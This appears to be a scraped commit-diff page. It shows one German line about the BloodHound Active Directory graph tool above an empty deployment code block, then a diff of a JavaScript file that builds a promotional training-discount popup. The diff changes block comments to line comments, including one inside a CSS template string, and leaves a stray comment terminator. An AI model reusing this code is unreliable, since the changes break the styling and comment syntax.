[BloodHound](https://github.com/BloodHoundAD/BloodHound) verwendet Graphentheorie + Neo4j, um versteckte Berechtigungsbeziehungen in lokalem AD und Azure AD offenzulegen.
|
||||
|
||||
### Bereitstellung (Docker CE)
|
||||
```bash
|
||||
|
||||
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user